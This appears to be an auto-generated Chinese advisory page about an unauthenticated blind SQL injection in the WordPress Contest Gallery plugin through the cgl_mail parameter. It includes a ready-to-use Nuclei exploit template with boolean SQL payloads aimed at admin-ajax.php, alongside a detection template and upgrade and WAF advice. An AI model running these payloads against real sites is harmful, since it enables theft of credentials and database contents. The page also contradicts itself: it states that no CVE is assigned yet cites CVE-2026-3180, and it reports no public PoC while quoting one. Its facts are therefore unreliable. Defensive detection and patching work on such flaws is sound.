[webapps] WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection

Contest Gallery 28.1.4 及之前版本存在未经认证的盲 SQL 注入漏洞 (CVE-2026-3180),攻击者可利用 cgl_mail 参数注入 SQL 查询。本文深入分析根因、攻击场景、PoC 及修复建议,适合安全研究员和 WordPress 管理员。

未分配CVE

Contest Gallery 28.1.4 及更早版本存在未经认证的盲 SQL 注入漏洞。

High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5)

📋 漏洞基础信息

CVE未分配CVE
漏洞类型SQL 注入 (盲注)
受影响版本WordPress Contest Gallery 版本 <= 28.1.4
危害等级High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5)
发布日期2026-06-05
提交者cardosource
来源Exploit-DB 原文 ↗

🔬 漏洞根因

在处理 cgl_mail 参数时,sanitize_email() 函数保留了电子邮件本地部分的单引号,导致用户输入未经正确参数化便传入 wpdb->get_row(),从而引发 SQL 注入。

🎯 攻击场景

1. 无需认证,攻击者构造特制的电子邮件地址,在本地部分插入 SQL 注入 payload(如 'OR/**/1=1#@teste.com)。 2. 向 /wp-admin/admin-ajax.php 发送 POST 请求,action 为 post_cg1l_resend_unconfirmed_mail_frontend,cgl_mail 设置为带有 payload 的邮件地址。 3. 根据响应内容长度(布尔盲注)判断注入条件是否成立,逐步提取数据库信息。 成功标志:能够通过布尔条件差异获取数据。

💥 漏洞影响

未经认证的攻击者可通过布尔盲注窃取 WordPress 数据库中敏感信息,如用户凭证、密钥等,导致数据泄露。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-3180-exploit

info:
  name: WordPress Contest Gallery <= 28.1.4 - Unauthenticated Blind SQL Injection
  author: cardosource
  severity: critical
  description: Exploits an unauthenticated blind SQL injection vulnerability in Contest Gallery plugin. The cgl_mail parameter is unsafely handled,
allowing boolean-based blind SQL injection.
  remediation: Update Contest Gallery plugin to version 28.1.5 or later.
  tags: wordpress,wp-plugin,contest-gallery,sqli,blind

variables:
  true_payload: "qualquer'OR/**/1=1#@teste.com"
  false_payload: "qualquer'OR/**/1=2#@teste.com"

http:
  - raw:
      - |POST {{BaseURL}}/wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

        action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail={{true_payload}}&cgl_page_id=1&cgl_activation_key=&cg_nonce=

      - |POST {{BaseURL}}/wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

        action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail={{false_payload}}&cgl_page_id=1&cgl_activation_key=&cg_nonce=

    matchers:
      - type: dsl
        dsl:
          - "len(body_1) >0 &&len(body_2) >0 &&len(body_1) != len(body_2)"
        condition: and

🔬 深度技术分析

PoC 通过构造两个 payload 发送到 admin-ajax.php:'OR/**/1=1#@teste.com(真条件)和 'OR/**/1=2#@teste.com(假条件)。根据响应体长度差异(200 OK,长度变化)进行布尔盲注,判断 SQL 注入是否成功。PoC 最后使用 mariadb 命令从 wp_contest_gal1ery_create_user_entries 表提取数据,展示漏洞可利用性。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-3180-detection

info:
  name: WordPress Contest Gallery <= 28.1.4 Detection
  author: cardosource
  severity: high
  description: Detects WordPress Contest Gallery plugin version <= 28.1.4 which is vulnerable to unauthenticated blind SQL injection
  tags: wordpress,wp-plugin,contest-gallery,sqli

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/contest-gallery/readme.txt"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Contest Gallery"
        part: body
      - type: regex
        part: body
        regex:
          - 'Stable tag: (?:0*[1-9]|1\d|2[0-7])\.\d+\.\d+|Stable tag: 28\.(?:0*[0-9]|1[0-4])'
      - type: status
        status:
          - 200
    extractors:
      - type: regex
        part: body
        regex:
          - 'Stable tag: (\d+\.\d+\.\d+)'
        group: 1
        internal: true
    stop-at-first-match: true

🛡️ 修复建议

升级到 Contest Gallery 28.1.5 或更高版本;临时缓解措施:在 Web 应用防火墙(WAF)中添加规则,拦截 cgl_mail 参数中包含单引号或 SQL 关键字的请求。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-06-06 08:10 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 漏洞是否需要认证?

不需要,漏洞无需认证即可利用,属于 Unauthenticated Blind SQL Injection。

❓ sanitize_email 为何保留单引号?

根据 RFC 5321,电子邮件本地部分允许包含单引号,sanitize_email 未转义 SQL 特殊字符,导致注入。

❓ 如何检测是否被攻击?

检查 admin-ajax.php 请求中 cgl_mail 参数是否包含单引号、OR、注释符号 (#) 等异常字符。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)